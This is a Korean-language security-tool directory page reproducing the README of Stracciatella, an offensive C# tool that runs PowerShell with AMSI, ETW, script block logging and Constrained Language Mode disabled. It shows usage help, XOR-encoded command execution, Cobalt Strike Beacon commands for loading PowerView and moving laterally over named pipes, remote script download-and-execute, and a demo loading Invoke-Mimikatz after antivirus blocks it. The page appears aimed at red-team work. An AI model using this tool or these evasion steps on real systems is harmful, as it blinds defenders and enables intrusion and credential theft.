Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Stracciatella — 시작 시 AMSI, Constrained Language Mode 및 Script Block Logging이 비활성화된 C# 내부의 OpSec-safe Powershell runspace (일명 SharpPick) | Kitploit
도구/GitHubGitHub/mgeeky/stracciatella
Privilege EscalationExploit FrameworksIDS/IPS EvasionLateral MovementScripting & AutomationPost-ExploitationPenetration TestingCommand and ControlRed TeamingPayload Development
GitHubmgeeky/stracciatella
543623년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Stracciatella

시작 시 AMSI, Constrained Language Mode 및 Script Block Logging이 비활성화된 C# 내부의 OpSec-safe Powershell runspace (일명 SharpPick)

저장소 보기

Stracciatella v0.7

C# 내부에서 Powershell runspace (일명 SharpPick 기법)를 통해 AMSI, ETW, 스크립트 블록 로깅을 비활성화하여 제공합니다.

오늘날 Powershell은 다음과 같은 기술로 심각하게 계측되었습니다:

  • AMSI
  • ETW
  • 스크립트 블록 로깅
  • 기록 파일(Transcript)
  • 모듈 로깅
  • 제한된 언어 모드(Constrained Language Mode)

고급 공격자는 정교한 적대적 시뮬레이션 훈련을 수행하기 위해 이러한 노력을 우회할 방법을 찾아야 합니다. 이러한 노력을 돕기 위해 다음 프로젝트가 만들어졌습니다.

이 프로그램은 다음 우회 기술을 기반으로 구축되었습니다:

  • Disable-Amsi.ps1
  • tandasat의 KillETW.ps1
  • Disable-ScriptLogging.ps1

이는 다시 다음 연구를 기반으로 했습니다:

  • Matt Graeber: https://github.com/mattifestation/PSReflect
  • Matt Graeber: https://twitter.com/mattifestation/status/735261120487772160
  • Avi Gimpel: https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/
  • Adam Chester: https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
  • Ryan Cobb: https://cobbr.io/ScriptBlock-Logging-Bypass.html
  • Ryan Cobb: https://cobbr.io/ScriptBlock-Warning-Event-Logging-Bypass.html

SharpPick 개념, 즉 C# 어셈블리 내에서 Runspace를 사용하여 Powershell 스크립트를 실행하는 것은 새로운 것이 아니며, 처음으로 Lee Christensen(@tifkin_)이 다음에서 구현했습니다:

  • UnmanagedPowerShell

또한 소스 코드는 CustomPSHost 구현을 Lee에게서 차용했습니다.

이 프로젝트는 위 연구와 훌륭한 보안 커뮤니티의 성과를 이어받아, 시작 시 방어 기능이 비활성화된 거의 완벽에 가까운 Powershell 환경을 제공합니다.

이제 .NET 4.0에서 쉽게 컴파일되며, .NET Framework 4.7.1+로 컴파일하면 CLM 우회 아티팩트를 구성하는 DLL을 언로드하고 이후에 삭제를 시도하는 추가 기능이 포함됩니다 (솔직히 잘 작동하지는 않습니다).

Stracciatella를 .NET 4.0으로 컴파일했을 때 최상의 성능을 얻을 수 있습니다.

OpSec

  • 이 프로그램은 Xor 단일 바이트 디코딩을 사용하여 전달된 매개변수를 즉시 디코딩하는 기능을 제공합니다.
  • 명령을 실행하기 전에 두 가지 방법으로 AMSI와 ETW를 비활성화합니다.
  • 명령을 실행하기 전에 두 가지 방법으로 스크립트 블록 로깅을 비활성화합니다.
  • 이 프로그램은 시스템 라이브러리나 시스템 네이티브 코드(예: amsi.dll)를 패치하지 않습니다.
  • EDR 및 AV가 사용하는 메모리 덤핑 기술로부터 보호하기 위해 디코딩된 스크립트/명령을 오래 저장하지 않도록 노력했습니다.

사용법

사용 가능한 몇 가지 옵션이 있습니다:

root@kitploit:~
PS D:\> Stracciatella -h

  :: Stracciatella - Powershell runspace with AMSI, ETW and Script Block Logging disabled.
  Mariusz Banach / mgeeky, '19-22 <[email protected]>
  v0.7

Usage: stracciatella.exe [options] [command]
  -s <path>, --script <path> - Path to file containing Powershell script to execute. If not options given, will enter
                               a pseudo-shell loop. This can be also a HTTP(S) URL to download & execute powershell script.
  -v, --verbose              - Prints verbose informations
  -n, --nocleanup            - Don't remove CLM disable leftovers (DLL files in TEMP and COM registry keys).
                               By default these are going to be always removed.
  -C, --leaveclm             - Don't attempt to disable CLM. Stealthier. Will avoid leaving CLM disable artefacts undeleted.
  -f, --force                - Proceed with execution even if Powershell defenses were not disabled.
                               By default we bail out on failure.
  -c, --command              - Executes the specified commands You can either use -c or append commands after
                               stracciatella parameters: cmd> straciatella ipconfig /all
                               If command and script parameters were given, executes command after running script.
  -x <key>, --xor <key>      - Consider input as XOR encoded, where <key> is a one byte key in decimal
                               (prefix with 0x for hex)
  -p <name>, --pipe <name>   - Read powershell commands from a specified named pipe. Command must be preceded with 4 bytes of
                               its length coded in little-endian (Length-Value notation).
  -t <millisecs>, --timeout <millisecs>
                             - Specifies timeout for pipe read operation (in milliseconds). Default: 60 secs. 0 - infinite.
  -e, --cmdalsoencoded       - Consider input command (specified in '--command') encoded as well.
                               Decodes input command after decoding and running input script file.
                               By default we only decode input file and consider command given in plaintext

프로그램은 명령 및 스크립트 파일 경로를 입력으로 받습니다. 둘 다 선택 사항이며, 아무 것도 제공되지 않으면 유사 셸(pseudo-shell)이 시작됩니다. 명령과 스크립트 모두 단일 바이트 XOR(출력은 Base64로 인코딩됨)을 사용하여 추가 인코딩할 수 있어 OpSec 경험이 향상됩니다.

다음은 사용 사례를 보여주는 몇 가지 예입니다:

  1. 유사 셸 - 명령이나 스크립트 경로 옵션이 모두 제공되지 않을 때 시작됩니다:
root@kitploit:~
PS D:\> Stracciatella.exe -v

  :: Stracciatella - Powershell runspace with AMSI, ETW and Script Block Logging disabled.
  Mariusz Banach / mgeeky, '19-22 <[email protected]>
  v0.7

[.] Powershell's version: 5.1
[.] Language Mode: FullLanguage
[+] No need to disable Constrained Language Mode. Already in FullLanguage.
[+] Script Block Logging Disabled.
[+] AMSI Disabled.
[+] ETW Disabled.

Stracciatella D:\> $PSVersionTable

Name                           Value
----                           -----
PSVersion                      5.1.18362.1
PSEdition                      Desktop
PSCompatibleVersions           {1.0, 2.0, 3.0, 4.0...}
BuildVersion                   10.0.18362.1
CLRVersion                     4.0.30319.42000
WSManStackVersion              3.0
PSRemotingProtocolVersion      2.3
SerializationVersion           1.1.0.1
  1. XOR 인코딩(키 = 0x31)된 명령 및 스크립트 파일 경로

먼저 인코딩된 구문을 준비하기 위해 포함된 encoder.py 스크립트를 사용할 수 있으며, 다음과 같이 사용합니다:

root@kitploit:~
PS D:\> python encoder.py -h
usage: encoder.py [options] <command|file>

positional arguments:
  command               Specifies either a command or script file's path for encoding

optional arguments:
  -h, --help            show this help message and exit
  -x KEY, --xor KEY     Specifies command/file XOR encode key (one byte)
  -o PATH, --output PATH
                        (optional) Output file. If not given - will echo output to stdout

PS D:\> python encoder.py -x 0x31 "Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode"
ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU

그런 다음 encoder.py의 출력을 Stracciatella의 인코딩된 명령 입력으로 전달합니다:

root@kitploit:~
PS D:\> Stracciatella.exe -v -x 0x31 -c "ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU" .\Test2.ps1

  :: Stracciatella - Powershell runspace with AMSI, ETW and Script Block Logging disabled.
  Mariusz Banach / mgeeky, '19-22 <[email protected]>
  v0.7

[.] Will load script file: '.\Test2.ps1'
[+] AMSI Disabled.
[+] ETW Disabled.
[+] Script Block Logging Disabled.
[.] Language Mode: FullLanguage

PS> & '.\Test2.ps1'
PS> Write-Host "It works like a charm!" ; $ExecutionContext.SessionState.LanguageMode
[+] Yeeey, it really worked.
It works like a charm!
FullLanguage

반면:

  • Command was built of following commands: Base64Encode(XorEncode("Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode", 0x31))
  • Test2.ps1 - contained: "ZkNYRVQceV5CRRETahpsEWhUVFRIHRFYRRFDVFBdXUgRRl5DWlRVHxM=" (Base64(XorEncode("Write-Host \"[+] Yeeey, it really worked.\"", 0x31)))

Cobalt Strike 지원

Stracciatella는 Aggressor 스크립트를 포함하며, 로드되면 Beacon 콘솔에 stracciatella 명령이 노출됩니다. 사용법은 powerpick과 매우 유사합니다(이전에 stracciatella-import를 통해 powershell 스크립트를 가져온 경우). 입력 매개변수는 무작위 키로 XOR 처리되어 무작위 이름의 Pipe를 통해 Stracciatella의 runspace로 전달됩니다.

다음 Cobalt Strike 명령을 사용할 수 있습니다:

Stracciatella 작업 전략 중 하나는 충분히 긴 파이프 읽기 타임아웃을 구성하고(1), 원격 시스템에서 실행하여(2) Stracciatella의 약간의 도움으로 명명된 파이프를 통한 측면 이동 옵션을 확보하는 것입니다.

powerpick에 비해 장점은 Stracciatella가 Powerpick처럼 _AMSI.dll_을 패치하지 않는다는 것입니다(AmsiScanBuffer 패치). 따라서 메모리 내 패치를 찾는 EDR이 감지할 수 있는 포렌식 노이즈가 적을 수 있습니다. 또한 Stracciatella는 현재 powerpick으로는 불가능한 _제한된 언어 모드(Constrained Language Mode)_를 안정적으로 우회할 수 있을 것입니다.

root@kitploit:~
beacon> stracciatella-import PowerView.ps1
[+] host called home, sent: 143784 bytes

beacon> stracciatella Get-Domain
[*] Tasked Beacon to run Stracciatella: Get-Domain
[+] host called home, sent: 264483 bytes
[+] received output:

Forest                  : contoso.local
DomainControllers       : {dc.contoso.local}
Children                : {us.eu.contoso.local}
DomainMode              : Unknown
DomainModeLevel         : 7
Parent                  : contoso.local
PdcRoleOwner            : dc.eu.contoso.local
RidRoleOwner            : dc.eu.contoso.local
InfrastructureRoleOwner : dc.eu.contoso.local
Name                    : eu.contoso.local

마지막으로, Stracciatella는 powershell 보호를 우회하는 기능을 제공하지 않는 다른 도구/C2에서도 쉽게 사용할 수 있습니다.

stracciatella가 오류 2(ERROR_FILE_NOT_FOUND)를 반환하는 경우, Stracciatella가 내부적으로 명명된 파이프에 데이터가 기록되기를 기다리다 시간 초과가 발생했기 때문입니다.

root@kitploit:~
beacon> stracciatella Resolve-IPAddress dc1.bank.corp
[*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.corp
[+] [11/02 03:32:50] host called home, sent: 1007245 bytes
[+] [11/02 03:33:13] host called home, sent: 191805 bytes
[-] Could not connect to pipe (\\.\pipe\85f2acfe-2ca9-4364-af08-f1c654966c1a): 2.

그러나 Stracciatella의 타임아웃 매개변수를 조정하여 해결할 수 있습니다:

root@kitploit:~
beacon> stracciatella-timeout 600000

beacon> stracciatella Resolve-IPAddress dc1.bank.corp
[*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.corp
[+] [11/02 04:01:11] host called home, sent: 1007265 bytes
[+] [11/02 04:01:33] host called home, sent: 191805 bytes
[+] received output:

ComputerName  IPAddress 
------------  --------- 
dc1.bank.corp 10.10.10.5

관련 Aggressor 스크립트는 내부 Beacon 루틴을 활용하여 무작위로 이름이 지정된 파이프에 쓰고, 반대쪽에서는 Stracciatella의 로직이 수신 대기합니다. 수신 측은 일정 시간 동안 인바운드 데이터를 기다리며(Stracciatella 옵션의 --timeout 매개변수, 기본값 60초), 데이터가 없으면 시간 초과되어 정상적으로 중단됩니다. 그렇지 않으면 수신된 명령이 디코딩되어 평소처럼 실행됩니다.

때로는 Powershell 런타임에서 호출하려는 함수나 리플렉티브하게 .NET 모듈을 로드하지 않는 Powershell 스크립트가 있습니다. 이러한 사용 사례를 지원하기 위해 stracciatella-script <scriptpath> <command Beacon 명령을 사용할 수 있습니다. 이 명령은 지정된 powershell 스크립트 파일을 읽고 해당 스크립트에 세미콜론으로 구분된 주어진 <command>를 추가합니다.

BOF.NET 지원

Stracciatella의 Aggressor 스크립트(CNA)는 BOF.NET이 로드되었는지 감지하며, 로드된 경우 다음 명령을 노출합니다:

bofnet_loadstracciatella

이 명령은 bofnet_load stracciatella.exe를 실행합니다. 또한 Stracciatella는 Cobalt의 내장 execute-assembly 대신 bofnet_jobassembly를 통해 실행됩니다.

이 동작은 stracciatella.cna 스크립트의 전역 변수를 변경하여 조정할 수 있습니다:

root@kitploit:~
#
# If there's BOF.NET loaded in Cobalt Strike, prefer `bofnet_jobassembly` command over `execute-assembly`.
# This is useful when we want to switch our tactics to running inline/in-process via BOF.NET instead of fork & run.
#
$FAVOR_BOFNET_INSTEAD_OF_EXECUTE_ASSEMBLY = "true";

AMSI 및 스크립트 블록 로깅을 어떻게 비활성화하나요?

Matt Graeber가 발견한 리플렉션을 사용하지만, 이 프로그램의 접근 방식은 약간 수정되었습니다. "amsiInitFailed"와 같은 기호 이름을 참조하는 대신 리플렉션으로 가져올 수 있는 모든 Assembly, Method, Type, Field를 검색하여 찾습니다. 그런 다음 Management.Automation 어셈블리에서 NonPublic 및 Static 변수를 조작하여 AMSI를 비활성화합니다. 스크립트 블록 로깅도 마찬가지이며, 이 경우 일부 아이디어는 Ryan Cobb(@cobbr)의 연구를 기반으로 했습니다.

실제로 Stracciatella는 위에서 언급한 제 Disable-*.ps1 파일에 이미 포함된 것과 동일한 구현을 사용합니다.

또한 amsi.dll을 패치하지 않습니다. 이는 너무 눈에 띄며 가까운 미래에 EDR/HIPS/AV에 의해 면밀히 모니터링될 수 있습니다. 시스템 라이브러리의 무결성을 손상시키는 것은 리플렉티브 변수 조작에 비해 확실히 불리합니다.

Invoke-Mimikatz를 보여주시겠어요?

물론입니다, 여기 있습니다:

root@kitploit:~
PS D:\> "amsiInitFailed"
At line:1 char:1
+ "amsiInitFailed"
+ ~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

PS D:\> . .\Invoke-Mimikatz.ps1
At line:1 char:1
+ . .\Invoke-Mimikatz.ps1
+ ~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

PS D:\> .\Stracciatella.exe -v

  :: Stracciatella - Powershell runspace with AMSI and Script Block Logging disabled.
  Mariusz Banach / mgeeky, '19-22 <[email protected]>
  v0.7

[-] It looks like no script path was given.
[+] AMSI Disabled.
[+] ETW Disabled.
[+] Script Block Logging Disabled.
[.] Language Mode: FullLanguage

Stracciatella D:\> . .\Invoke-Mimikatz.ps1

Stracciatella D:\> Invoke-Mimikatz -Command "coffee exit"

  .#####.   mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
 .## ^ ##.  "A La Vie, A L'Amour"
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( [email protected] )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 20 modules * * */

mimikatz(powershell) # coffee

    ( (
     ) )
  .______.
  |      |]
  \      /
   `----'

mimikatz(powershell) # exit
Bye!

알려진 문제, TODO

현재 Stracciatella가 powershell 명령에 runspace를 제공하는 방식은 가장 은밀하지 않습니다. 기본적으로 해당 .NET 어셈블리를 로드하는 Powershell runspace를 생성합니다. 이는 Stracciatella의 프로세스가 다소 수상하다는 플래그로 간주될 수 있습니다.

  • 현재 CLM 비활성화 아티팩트를 완전히 정리할 수 없습니다: 사용 중인 DLL 파일이 %TEMP%에 남습니다.
  • 2, 3, 4바이트 길이의 키를 사용하는 롤링 XOR 구현.
  • 환경 키잉을 활용하는 등 더 많은 인코딩/암호화 전략 구현.
  • Tab 자동 완성 및 위/아래 화살표 지원 추가 (평문 명령이 Stracciatella의 메모리에 저장되지 않도록 제공).
  • 색상 출력 추가.
  • 스크립트 블록 로깅 우회는 Windows Server 2016 및 Windows 10에서 효과적이지 않을 수 있습니다 여기 보고됨.

크레딧

  • Ryan Cobb, @cobbr
  • Matt Graeber, @mattifestation
  • Adam Chester, @xpn
  • Avi Gimpel
  • Lee Christensen, @tifkin_

☕ 지원하기 ☕

이 프로젝트와 다른 프로젝트들은 잠 못 이루는 밤과 많은 노력의 결과입니다. 제 작업이 마음에 들고 항상 커뮤니티에 환원하는 것을 감사히 여기신다면, 커피 한 잔 사주시기 (또는 맥주라도) 감사의 표시로 부탁드립니다! 💪


작성자

root@kitploit:~
   Mariusz Banach / mgeeky, '20-22
   <mb [at] binary-offensive.com>
   (https://github.com/mgeeky)
도구 다운로드
Cobalt Strike commandDescription
stracciatella [-v] <command>주어진 명령을 실행합니다
stracciatella-remote [-v] <machine> <pipename> <command>지정된 파이프의 원격 시스템에서 주어진 명령을 실행합니다
stracciatella-import <scriptpath>Stracciatella에서 사용할 powershell 스크립트를 가져옵니다
stracciatella-script <scriptpath> <command>지정된 Powershell(ps1) 스크립트로 Powershell 명령을 미리 로드합니다 (stracciatella-import와 stracciatella를 단일 작업으로 결합)
stracciatella-clear해당 Beacon에서 가져온 스크립트를 지웁니다
stracciatella-timeout <milliseconds>기본 명명된 파이프 읽기 타임아웃을 조정합니다
bofnet_loadstracciatellaStracciatella.exe를 BOF.NET에 로드합니다 (사용하는 경우)
bofnet_stracciatella <command>(비차단) BOF.NET bofnet_jobassembly를 통해 안전한 Stracciatella runspace에서 Powershell 명령을 실행합니다
bofnet_executestracciatella <command>(차단) BOF.NET bofnet_executeassembly를 통해 안전한 Stracciatella runspace에서 Powershell 명령을 실행합니다
bofnet_stracciatella_script <scriptpath> <command>지정된 Powershell 스크립트를 미리 로드하고 주어진 명령을 매개변수와 함께 실행합니다 (BOF.NET을 통해)